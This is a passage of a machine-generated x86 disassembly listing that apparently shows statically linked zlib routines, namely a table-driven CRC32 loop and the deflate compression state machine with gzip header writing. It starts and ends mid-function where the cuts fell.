		mov	ebx, eax
		cmp	ebx, 1
		pop	ecx
		pop	ecx
		jz	short loc_40E379
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40EDE3
		test	ebx, ebx
		pop	ecx
		jnz	short loc_40E375
		push	0FFFFFFFBh
		pop	eax
		jmp	short loc_40E388
; ---------------------------------------------------------------------------


loc_40E375:				; CODE XREF: sub_40E306+68j
		mov	eax, ebx
		jmp	short loc_40E388
; ---------------------------------------------------------------------------


loc_40E379:				; CODE XREF: sub_40E306+5Aj
		mov	eax, [ebp+var_24]
		mov	[esi], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40EDE3
		pop	ecx


loc_40E388:				; CODE XREF: sub_40E306+6Dj
					; sub_40E306+71j
		pop	ebx


loc_40E389:				; CODE XREF: sub_40E306+45j
		pop	esi
		leave
		retn
sub_40E306	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E38C	proc near		; CODE XREF: sub_404355+Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		mov	edx, eax
		shr	ecx, 0Eh
		shr	edx, 0Ch
		add	ecx, eax
		lea	eax, [edx+ecx+0Bh]
		retn
sub_40E38C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3A1	proc near		; CODE XREF: sub_40E5EB+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		not	eax
		mov	ecx, 0FFh
		jz	short loc_40E3D1


loc_40E3B5:				; CODE XREF: sub_40E3A1+2Ej
		test	dl, 3
		jz	short loc_40E3D1
		movzx	ebx, byte ptr [edx]
		xor	ebx, eax
		and	ebx, ecx
		shr	eax, 8
		xor	eax, ds:dword_41C2A0[ebx*4]
		inc	edx
		dec	[ebp+arg_0]
		jnz	short loc_40E3B5


loc_40E3D1:				; CODE XREF: sub_40E3A1+12j
					; sub_40E3A1+17j
		cmp	[ebp+arg_0], 20h
		push	4
		mov	esi, edx
		pop	edi
		jb	loc_40E57E
		mov	edx, [ebp+arg_0]
		shr	edx, 5
		mov	[ebp+var_4], edx


loc_40E3E9:				; CODE XREF: sub_40E3A1+1D7j
		xor	eax, [esi]
		add	esi, edi
		mov	edx, eax
		shr	edx, 10h
		movzx	ebx, ah
		and	edx, ecx
		mov	edx, ds:dword_41C6A0[edx*4]
		xor	edx, ds:dword_41CAA0[ebx*4]
		mov	ebx, eax
		and	eax, ecx
		shr	ebx, 18h
		xor	edx, ds:dword_41C2A0[ebx*4]
		xor	edx, ds:dword_41CEA0[eax*4]
		xor	edx, [esi]
		add	esi, edi
		mov	eax, edx
		shr	eax, 10h
		and	eax, ecx
		mov	eax, ds:dword_41C6A0[eax*4]
		movzx	ebx, dh
		xor	eax, ds:dword_41CAA0[ebx*4]
		mov	ebx, edx
		and	edx, ecx
		shr	ebx, 18h
		xor	eax, ds:dword_41C2A0[ebx*4]
		xor	eax, ds:dword_41CEA0[edx*4]
		xor	eax, [esi]
		add	esi, edi
		mov	edx, eax
		shr	edx, 10h
		movzx	ebx, ah
		and	edx, ecx
		mov	edx, ds:dword_41C6A0[edx*4]
		xor	edx, ds:dword_41CAA0[ebx*4]
		mov	ebx, eax
		and	eax, ecx
		shr	ebx, 18h
		xor	edx, ds:dword_41C2A0[ebx*4]
		xor	edx, ds:dword_41CEA0[eax*4]
		xor	edx, [esi]
		add	esi, edi
		mov	eax, edx
		shr	eax, 10h
		and	eax, ecx
		mov	eax, ds:dword_41C6A0[eax*4]
		movzx	ebx, dh
		xor	eax, ds:dword_41CAA0[ebx*4]
		mov	ebx, edx
		and	edx, ecx
		shr	ebx, 18h
		xor	eax, ds:dword_41C2A0[ebx*4]
		xor	eax, ds:dword_41CEA0[edx*4]
		xor	eax, [esi]
		add	esi, edi
		mov	edx, eax
		shr	edx, 10h
		movzx	ebx, ah
		and	edx, ecx
		mov	edx, ds:dword_41C6A0[edx*4]
		xor	edx, ds:dword_41CAA0[ebx*4]
		mov	ebx, eax
		and	eax, ecx
		shr	ebx, 18h
		xor	edx, ds:dword_41C2A0[ebx*4]
		xor	edx, ds:dword_41CEA0[eax*4]
		xor	edx, [esi]
		add	esi, edi
		mov	eax, edx
		shr	eax, 10h
		and	eax, ecx
		mov	eax, ds:dword_41C6A0[eax*4]
		movzx	ebx, dh
		xor	eax, ds:dword_41CAA0[ebx*4]
		mov	ebx, edx
		shr	ebx, 18h
		xor	eax, ds:dword_41C2A0[ebx*4]
		and	edx, ecx
		xor	eax, ds:dword_41CEA0[edx*4]
		xor	eax, [esi]
		add	esi, edi
		mov	edx, eax
		shr	edx, 10h
		movzx	ebx, ah
		and	edx, ecx
		mov	edx, ds:dword_41C6A0[edx*4]
		xor	edx, ds:dword_41CAA0[ebx*4]
		mov	ebx, eax
		and	eax, ecx
		sub	[ebp+arg_0], 20h
		shr	ebx, 18h
		xor	edx, ds:dword_41C2A0[ebx*4]
		xor	edx, ds:dword_41CEA0[eax*4]
		xor	edx, [esi]
		add	esi, edi
		mov	eax, edx
		shr	eax, 10h
		and	eax, ecx
		mov	eax, ds:dword_41C6A0[eax*4]
		movzx	ebx, dh
		xor	eax, ds:dword_41CAA0[ebx*4]
		mov	ebx, edx
		shr	ebx, 18h
		xor	eax, ds:dword_41C2A0[ebx*4]
		and	edx, ecx
		xor	eax, ds:dword_41CEA0[edx*4]
		dec	[ebp+var_4]
		jnz	loc_40E3E9


loc_40E57E:				; CODE XREF: sub_40E3A1+39j
		cmp	[ebp+arg_0], edi
		jb	short loc_40E5C7
		mov	edx, [ebp+arg_0]
		shr	edx, 2
		mov	[ebp+var_4], edx


loc_40E58C:				; CODE XREF: sub_40E3A1+224j
		xor	eax, [esi]
		sub	[ebp+arg_0], edi
		mov	edx, eax
		shr	edx, 10h
		and	edx, ecx
		mov	edx, ds:dword_41C6A0[edx*4]
		movzx	ebx, ah
		xor	edx, ds:dword_41CAA0[ebx*4]
		mov	ebx, eax
		shr	ebx, 18h
		xor	edx, ds:dword_41C2A0[ebx*4]
		and	eax, ecx
		xor	edx, ds:dword_41CEA0[eax*4]
		add	esi, edi
		dec	[ebp+var_4]
		mov	eax, edx
		jnz	short loc_40E58C


loc_40E5C7:				; CODE XREF: sub_40E3A1+1E0j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E5E4


loc_40E5CD:				; CODE XREF: sub_40E3A1+241j
		movzx	edx, byte ptr [esi]
		xor	edx, eax
		and	edx, ecx
		shr	eax, 8
		xor	eax, ds:dword_41C2A0[edx*4]
		inc	esi
		dec	[ebp+arg_0]
		jnz	short loc_40E5CD


loc_40E5E4:				; CODE XREF: sub_40E3A1+22Aj
		pop	edi
		pop	esi
		not	eax
		pop	ebx
		leave
		retn
sub_40E3A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E5EB	proc near		; CODE XREF: sub_40E674+8Ap
					; sub_40E674+257p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_4]
		test	edx, edx
		jnz	short loc_40E5F6
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40E5F6:				; CODE XREF: sub_40E5EB+6j
		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		call	sub_40E3A1
		pop	ecx
		retn
sub_40E5EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E605	proc near		; CODE XREF: sub_40E674+2D5p
					; sub_40E674+2E5p ...
		push	esi
		mov	esi, [eax+8]
		push	edi
		mov	edi, [eax+14h]
		mov	ecx, edx
		shr	ecx, 8
		mov	[esi+edi], cl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	esi, [eax+8]
		mov	[ecx+esi], dl
		inc	dword ptr [eax+14h]
		pop	edi
		pop	esi
		retn
sub_40E605	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E627	proc near		; CODE XREF: sub_40E674+34Fp
					; sub_40E674+40Fp ...
		push	esi
		mov	esi, eax
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+10h]
		push	edi
		mov	edi, [eax+14h]
		cmp	edi, ecx
		jbe	short loc_40E63A
		mov	edi, ecx


loc_40E63A:				; CODE XREF: sub_40E627+Fj
		test	edi, edi
		jz	short loc_40E671
		push	edi
		push	dword ptr [eax+10h]
		push	dword ptr [esi+0Ch]
		call	sub_40CCF7
		mov	eax, [esi+1Ch]
		add	[esi+0Ch], edi
		add	[eax+10h], edi
		add	[esi+14h], edi
		sub	[esi+10h], edi
		mov	eax, [esi+1Ch]
		sub	[eax+14h], edi
		mov	esi, [esi+1Ch]
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_40E671
		mov	eax, [esi+8]
		mov	[esi+10h], eax


loc_40E671:				; CODE XREF: sub_40E627+15j
					; sub_40E627+42j
		pop	edi
		pop	esi
		retn
sub_40E627	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E674	proc near		; CODE XREF: sub_40E306+4Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40EDDB
		mov	esi, [edi+1Ch]
		cmp	esi, ebx
		jz	loc_40EDDB
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 4
		ja	loc_40EDDB
		cmp	[edi+0Ch], ebx
		jz	loc_40EDD3
		cmp	[edi], ebx
		jnz	short loc_40E6B6
		cmp	[edi+4], ebx
		jnz	loc_40EDD3


loc_40E6B6:				; CODE XREF: sub_40E674+37j
		mov	eax, [esi+4]
		cmp	eax, 29Ah
		jnz	short loc_40E6C9
		cmp	ecx, 4
		jnz	loc_40EDD3


loc_40E6C9:				; CODE XREF: sub_40E674+4Aj
		cmp	[edi+10h], ebx
		jnz	short loc_40E6DD


loc_40E6CE:				; CODE XREF: sub_40E674+5C4j
					; sub_40E674+5DBj
		mov	eax, ds:off_42026C
		mov	[edi+18h], eax
		push	0FFFFFFFBh
		jmp	loc_40EDDD
; ---------------------------------------------------------------------------


loc_40E6DD:				; CODE XREF: sub_40E674+58j
		cmp	eax, 2Ah
		mov	edx, [esi+28h]
		mov	[esi], edi
		mov	[ebp+var_8], edx
		mov	[esi+28h], ecx
		jnz	loc_40E975
		cmp	dword ptr [esi+18h], 2
		jnz	loc_40E8E5
		push	ebx
		push	ebx
		push	ebx
		call	sub_40E5EB
		mov	[edi+30h], eax
		mov	ecx, [esi+14h]
		mov	eax, [esi+8]
		mov	byte ptr [eax+ecx], 1Fh
		mov	ecx, [esi+8]
		add	esp, 0Ch
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	byte ptr [eax+ecx], 8Bh
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+8]
		mov	byte ptr [eax+ecx], 8
		inc	dword ptr [esi+14h]
		mov	eax, [esi+1Ch]
		cmp	eax, ebx
		mov	ecx, [esi+14h]
		jnz	loc_40E7C0
		mov	eax, [esi+8]
		mov	[ecx+eax], bl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], bl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], bl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], bl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], bl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+84h]
		cmp	eax, 9
		mov	ecx, [esi+14h]
		jnz	short loc_40E789
		push	2
		jmp	short loc_40E79D
; ---------------------------------------------------------------------------


loc_40E789:				; CODE XREF: sub_40E674+10Fj
		cmp	dword ptr [esi+88h], 2
		jge	short loc_40E79B
		cmp	eax, 2
		jl	short loc_40E79B
		xor	eax, eax
		jmp	short loc_40E79E
; ---------------------------------------------------------------------------


loc_40E79B:				; CODE XREF: sub_40E674+11Cj
					; sub_40E674+121j
		push	4


loc_40E79D:				; CODE XREF: sub_40E674+113j
		pop	eax


loc_40E79E:				; CODE XREF: sub_40E674+125j
		mov	edx, [esi+8]
		mov	[ecx+edx], al
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+8]
		mov	byte ptr [eax+ecx], 0Bh
		inc	dword ptr [esi+14h]
		mov	dword ptr [esi+4], 71h
		jmp	loc_40E975
; ---------------------------------------------------------------------------


loc_40E7C0:				; CODE XREF: sub_40E674+C4j
		cmp	[eax+24h], ebx
		setz	dl
		dec	dl
		and	edx, 10h
		cmp	[eax+2Ch], ebx
		setz	bl
		dec	bl
		and	ebx, 2
		add	dl, bl
		cmp	dword ptr [eax+1Ch], 0
		setz	bl
		dec	bl
		and	ebx, 8
		add	dl, bl
		cmp	dword ptr [eax+10h], 0
		setz	bl
		dec	bl
		and	ebx, 4
		add	dl, bl
		xor	ebx, ebx
		cmp	[eax], ebx
		setnz	al
		add	dl, al
		mov	eax, [esi+8]
		mov	[ecx+eax], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+1Ch]
		mov	cl, [ecx+4]
		mov	edx, [esi+8]
		mov	[eax+edx], cl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	ecx, [esi+1Ch]
		mov	cl, [ecx+5]
		mov	edx, [esi+8]
		mov	[eax+edx], cl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+1Ch]
		mov	cl, [ecx+6]
		mov	eax, [esi+14h]
		mov	edx, [esi+8]
		mov	[eax+edx], cl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+1Ch]
		mov	eax, [esi+14h]
		mov	cl, [ecx+7]
		mov	edx, [esi+8]
		mov	[eax+edx], cl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+84h]
		cmp	eax, 9
		mov	ecx, [esi+14h]
		jnz	short loc_40E860
		push	2
		jmp	short loc_40E874
; ---------------------------------------------------------------------------


loc_40E860:				; CODE XREF: sub_40E674+1E6j
		cmp	dword ptr [esi+88h], 2
		jge	short loc_40E872
		cmp	eax, 2
		jl	short loc_40E872
		xor	eax, eax
		jmp	short loc_40E875
; ---------------------------------------------------------------------------


loc_40E872:				; CODE XREF: sub_40E674+1F3j
					; sub_40E674+1F8j
		push	4


loc_40E874:				; CODE XREF: sub_40E674+1EAj
		pop	eax


loc_40E875:				; CODE XREF: sub_40E674+1FCj
		mov	edx, [esi+8]
		mov	[ecx+edx], al
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+1Ch]
		mov	eax, [esi+14h]
		mov	cl, [ecx+0Ch]
		mov	edx, [esi+8]
		mov	[eax+edx], cl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+1Ch]
		cmp	[eax+10h], ebx
		mov	ecx, [esi+14h]
		jz	short loc_40E8BC
		mov	al, [eax+14h]
		mov	edx, [esi+8]
		mov	[ecx+edx], al
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+1Ch]
		mov	cl, [ecx+15h]
		mov	eax, [esi+14h]
		mov	edx, [esi+8]
		mov	[eax+edx], cl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+14h]


loc_40E8BC:				; CODE XREF: sub_40E674+225j
		mov	eax, [esi+1Ch]
		cmp	[eax+2Ch], ebx
		jz	short loc_40E8D6
		push	ecx
		push	dword ptr [esi+8]
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40E8D6:				; CODE XREF: sub_40E674+24Ej
		mov	[esi+20h], ebx
		mov	dword ptr [esi+4], 45h
		jmp	loc_40E975
; ---------------------------------------------------------------------------


loc_40E8E5:				; CODE XREF: sub_40E674+81j
		mov	ecx, [esi+30h]
		sub	ecx, 8
		shl	ecx, 0Ch
		add	ecx, 800h
		cmp	dword ptr [esi+88h], 2
		jge	short loc_40E920
		mov	eax, [esi+84h]
		cmp	eax, 2
		jl	short loc_40E920
		cmp	eax, 6
		jge	short loc_40E912
		xor	eax, eax
		inc	eax
		jmp	short loc_40E922
; ---------------------------------------------------------------------------


loc_40E912:				; CODE XREF: sub_40E674+297j
		xor	edx, edx
		cmp	eax, 6
		setnz	dl
		inc	edx
		inc	edx
		mov	eax, edx
		jmp	short loc_40E922
; ---------------------------------------------------------------------------


loc_40E920:				; CODE XREF: sub_40E674+287j
					; sub_40E674+292j
		xor	eax, eax


loc_40E922:				; CODE XREF: sub_40E674+29Cj
					; sub_40E674+2AAj
		shl	eax, 6
		or	ecx, eax
		cmp	[esi+6Ch], ebx
		jz	short loc_40E92F
		or	ecx, 20h


loc_40E92F:				; CODE XREF: sub_40E674+2B6j
		xor	edx, edx
		push	1Fh
		pop	ebx
		mov	eax, ecx
		div	ebx
		mov	dword ptr [esi+4], 71h
		mov	eax, edx
		mov	edx, ecx
		sub	edx, eax
		add	edx, ebx
		mov	eax, esi
		call	sub_40E605
		xor	ebx, ebx
		cmp	[esi+6Ch], ebx
		jz	short loc_40E967
		movzx	edx, word ptr [edi+32h]
		call	sub_40E605
		movzx	edx, word ptr [edi+30h]
		call	sub_40E605


loc_40E967:				; CODE XREF: sub_40E674+2DFj
		push	ebx
		push	ebx
		push	ebx
		call	sub_40E0E6
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40E975:				; CODE XREF: sub_40E674+77j
					; sub_40E674+147j ...
		cmp	dword ptr [esi+4], 45h
		jnz	loc_40EA37
		mov	eax, [esi+1Ch]
		cmp	[eax+10h], ebx
		jz	loc_40EA30
		mov	ecx, [esi+14h]
		mov	[ebp+arg_0], ecx
		jmp	short loc_40E9F0
; ---------------------------------------------------------------------------


loc_40E993:				; CODE XREF: sub_40E674+383j
		mov	eax, [esi+14h]
		cmp	eax, [esi+0Ch]
		jnz	short loc_40E9D3
		mov	ecx, [esi+1Ch]
		cmp	[ecx+2Ch], ebx
		jz	short loc_40E9C1
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40E9C1
		sub	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+8]
		add	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40E9C1:				; CODE XREF: sub_40E674+32Dj
					; sub_40E674+332j
		mov	eax, edi
		call	sub_40E627
		mov	eax, [esi+14h]
		cmp	eax, [esi+0Ch]
		mov	[ebp+arg_0], eax
		jz	short loc_40E9F9


loc_40E9D3:				; CODE XREF: sub_40E674+325j
		mov	ecx, [esi+1Ch]
		mov	ecx, [ecx+10h]
		mov	edx, [esi+20h]
		mov	cl, [ecx+edx]
		mov	ebx, [esi+8]
		mov	[eax+ebx], cl
		inc	dword ptr [esi+14h]
		inc	dword ptr [esi+20h]
		mov	eax, [esi+1Ch]
		xor	ebx, ebx


loc_40E9F0:				; CODE XREF: sub_40E674+31Dj
		movzx	eax, word ptr [eax+14h]
		cmp	[esi+20h], eax
		jb	short loc_40E993


loc_40E9F9:				; CODE XREF: sub_40E674+35Dj
		mov	eax, [esi+1Ch]
		cmp	[eax+2Ch], ebx
		jz	short loc_40EA22
		mov	eax, [esi+14h]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40EA22
		sub	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+8]
		add	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40EA22:				; CODE XREF: sub_40E674+38Bj
					; sub_40E674+393j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+20h]
		cmp	ecx, [eax+14h]
		jnz	short loc_40EA37
		mov	[esi+20h], ebx


loc_40EA30:				; CODE XREF: sub_40E674+311j
		mov	dword ptr [esi+4], 49h


loc_40EA37:				; CODE XREF: sub_40E674+305j
					; sub_40E674+3B7j
		cmp	dword ptr [esi+4], 49h
		jnz	loc_40EAF5
		mov	eax, [esi+1Ch]
		cmp	[eax+1Ch], ebx
		jz	loc_40EAEE
		mov	eax, [esi+14h]
		mov	[ebp+arg_0], eax


loc_40EA53:				; CODE XREF: sub_40E674+43Ej
		mov	eax, [esi+14h]
		cmp	eax, [esi+0Ch]
		jnz	short loc_40EA93
		mov	ecx, [esi+1Ch]
		cmp	[ecx+2Ch], ebx
		jz	short loc_40EA81
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40EA81
		sub	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+8]
		add	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40EA81:				; CODE XREF: sub_40E674+3EDj
					; sub_40E674+3F2j
		mov	eax, edi
		call	sub_40E627
		mov	eax, [esi+14h]
		cmp	eax, [esi+0Ch]
		mov	[ebp+arg_0], eax
		jz	short loc_40EAB6


loc_40EA93:				; CODE XREF: sub_40E674+3E5j
		mov	ecx, [esi+20h]
		mov	edx, [esi+1Ch]
		mov	edx, [edx+1Ch]
		movzx	edx, byte ptr [edx+ecx]
		inc	ecx
		mov	[esi+20h], ecx
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		cmp	edx, ebx
		mov	[ebp+var_4], edx
		jnz	short loc_40EA53
		jmp	short loc_40EABD
; ---------------------------------------------------------------------------


loc_40EAB6:				; CODE XREF: sub_40E674+41Dj
		mov	[ebp+var_4], 1


loc_40EABD:				; CODE XREF: sub_40E674+440j
		mov	eax, [esi+1Ch]
		cmp	[eax+2Ch], ebx
		jz	short loc_40EAE6
		mov	eax, [esi+14h]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40EAE6
		sub	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+8]
		add	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40EAE6:				; CODE XREF: sub_40E674+44Fj
					; sub_40E674+457j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40EAF5
		mov	[esi+20h], ebx


loc_40EAEE:				; CODE XREF: sub_40E674+3D3j
		mov	dword ptr [esi+4], 5Bh


loc_40EAF5:				; CODE XREF: sub_40E674+3C7j
					; sub_40E674+475j
		cmp	dword ptr [esi+4], 5Bh
		jnz	loc_40EBB0
		mov	eax, [esi+1Ch]
		cmp	[eax+24h], ebx
		jz	loc_40EBA9
		mov	eax, [esi+14h]
		mov	[ebp+arg_0], eax


loc_40EB11:				; CODE XREF: sub_40E674+4FCj
		mov	eax, [esi+14h]
		cmp	eax, [esi+0Ch]
		jnz	short loc_40EB51
		mov	ecx, [esi+1Ch]
		cmp	[ecx+2Ch], ebx
		jz	short loc_40EB3F
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40EB3F
		sub	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+8]
		add	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40EB3F:				; CODE XREF: sub_40E674+4ABj
					; sub_40E674+4B0j
		mov	eax, edi
		call	sub_40E627
		mov	eax, [esi+14h]
		cmp	eax, [esi+0Ch]
		mov	[ebp+arg_0], eax
		jz	short loc_40EB74


loc_40EB51:				; CODE XREF: sub_40E674+4A3j
		mov	ecx, [esi+20h]
		mov	edx, [esi+1Ch]
		mov	edx, [edx+24h]
		movzx	edx, byte ptr [edx+ecx]
		inc	ecx
		mov	[esi+20h], ecx
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		cmp	edx, ebx
		mov	[ebp+var_4], edx
		jnz	short loc_40EB11
		jmp	short loc_40EB7B
; ---------------------------------------------------------------------------


loc_40EB74:				; CODE XREF: sub_40E674+4DBj
		mov	[ebp+var_4], 1


loc_40EB7B:				; CODE XREF: sub_40E674+4FEj
		mov	eax, [esi+1Ch]
		cmp	[eax+2Ch], ebx
		jz	short loc_40EBA4
		mov	eax, [esi+14h]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40EBA4
		sub	eax, [ebp+arg_0]
		push	eax
		mov	eax, [esi+8]
		add	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [edi+30h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40EBA4:				; CODE XREF: sub_40E674+50Dj
					; sub_40E674+515j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40EBB0


loc_40EBA9:				; CODE XREF: sub_40E674+491j
		mov	dword ptr [esi+4], 67h


loc_40EBB0:				; CODE XREF: sub_40E674+485j
					; sub_40E674+533j
		cmp	dword ptr [esi+4], 67h
		jnz	short loc_40EC0A
		mov	eax, [esi+1Ch]
		cmp	[eax+2Ch], ebx
		jz	short loc_40EC03
		mov	eax, [esi+14h]
		inc	eax
		inc	eax
		cmp	eax, [esi+0Ch]
		jbe	short loc_40EBCF
		mov	eax, edi
		call	sub_40E627


loc_40EBCF:				; CODE XREF: sub_40E674+552j
		mov	eax, [esi+14h]
		lea	ecx, [eax+2]
		cmp	ecx, [esi+0Ch]
		ja	short loc_40EC0A
		mov	dl, [edi+30h]
		mov	ecx, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		mov	eax, [esi+14h]
		mov	dl, [edi+31h]
		mov	ecx, [esi+8]
		push	ebx
		push	ebx
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
		push	ebx
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_40EC03:				; CODE XREF: sub_40E674+548j
		mov	dword ptr [esi+4], 71h


loc_40EC0A:				; CODE XREF: sub_40E674+540j
					; sub_40E674+564j
		cmp	[esi+14h], ebx
		jz	short loc_40EC26
		mov	eax, edi
		call	sub_40E627
		cmp	[edi+10h], ebx
		jnz	short loc_40EC3D


loc_40EC1B:				; CODE XREF: sub_40E674+682j
					; sub_40E674+75Aj
		or	dword ptr [esi+28h], 0FFFFFFFFh


loc_40EC1F:				; CODE XREF: sub_40E674+68Cj
					; sub_40E674+754j
		xor	eax, eax
		jmp	loc_40EDDE
; ---------------------------------------------------------------------------


loc_40EC26:				; CODE XREF: sub_40E674+599j
		cmp	[edi+4], ebx
		jnz	short loc_40EC3D
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+var_8]
		jg	short loc_40EC40
		cmp	ecx, 4
		jz	short loc_40EC40
		jmp	loc_40E6CE
; ---------------------------------------------------------------------------


loc_40EC3D:				; CODE XREF: sub_40E674+5A5j
					; sub_40E674+5B5j
		mov	ecx, [ebp+arg_4]


loc_40EC40:				; CODE XREF: sub_40E674+5BDj
					; sub_40E674+5C2j
		mov	eax, [esi+4]
		cmp	eax, 29Ah
		jnz	short loc_40EC54
		cmp	[edi+4], ebx
		jz	short loc_40EC59
		jmp	loc_40E6CE
; ---------------------------------------------------------------------------


loc_40EC54:				; CODE XREF: sub_40E674+5D4j
		cmp	[edi+4], ebx
		jnz	short loc_40EC71


loc_40EC59:				; CODE XREF: sub_40E674+5D9j
		cmp	[esi+74h], ebx
		jnz	short loc_40EC71
		cmp	ecx, ebx
		jz	loc_40ECFC
		cmp	eax, 29Ah
		jz	loc_40ECFC


loc_40EC71:				; CODE XREF: sub_40E674+5E3j
					; sub_40E674+5E8j
		mov	eax, [esi+84h]
		push	[ebp+arg_4]
		imul	eax, 0Ch
		push	esi
		call	ds:off_41E2E0[eax]
		cmp	eax, 2
		pop	ecx
		pop	ecx
		jz	short loc_40EC90
		cmp	eax, 3
		jnz	short loc_40EC97


loc_40EC90:				; CODE XREF: sub_40E674+615j
		mov	dword ptr [esi+4], 29Ah


loc_40EC97:				; CODE XREF: sub_40E674+61Aj
		cmp	eax, ebx
		jz	loc_40EDC5
		cmp	eax, 2
		jz	loc_40EDC5
		cmp	eax, 1
		jnz	short loc_40ECFC
		cmp	[ebp+arg_4], eax
		jnz	short loc_40ECBB
		push	esi
		call	sub_412BF6
		pop	ecx
		jmp	short loc_40ECEC
; ---------------------------------------------------------------------------


loc_40ECBB:				; CODE XREF: sub_40E674+63Cj
		push	ebx
		push	ebx
		push	ebx
		push	esi
		call	sub_412B6B
		add	esp, 10h
		cmp	[ebp+arg_4], 3
		jnz	short loc_40ECEC
		mov	eax, [esi+4Ch]
		mov	ecx, [esi+44h]
		mov	[ecx+eax*2-2], bx
		mov	eax, [esi+4Ch]
		lea	eax, [eax+eax-2]
		push	eax
		push	ebx
		push	dword ptr [esi+44h]
		call	sub_40CCD9
		add	esp, 0Ch


loc_40ECEC:				; CODE XREF: sub_40E674+645j
					; sub_40E674+657j
		mov	eax, edi
		call	sub_40E627
		cmp	[edi+10h], ebx
		jz	loc_40EC1B


loc_40ECFC:				; CODE XREF: sub_40E674+5ECj
					; sub_40E674+5F7j ...
		cmp	[ebp+arg_4], 4
		jnz	loc_40EC1F
		mov	eax, [esi+18h]
		cmp	eax, ebx
		jg	short loc_40ED15
		xor	eax, eax
		inc	eax
		jmp	loc_40EDDE
; ---------------------------------------------------------------------------


loc_40ED15:				; CODE XREF: sub_40E674+697j
		cmp	eax, 2
		jnz	short loc_40ED94
		mov	ecx, [esi+14h]
		mov	dl, [edi+30h]
		mov	eax, [esi+8]
		mov	[eax+ecx], dl
		inc	dword ptr [esi+14h]
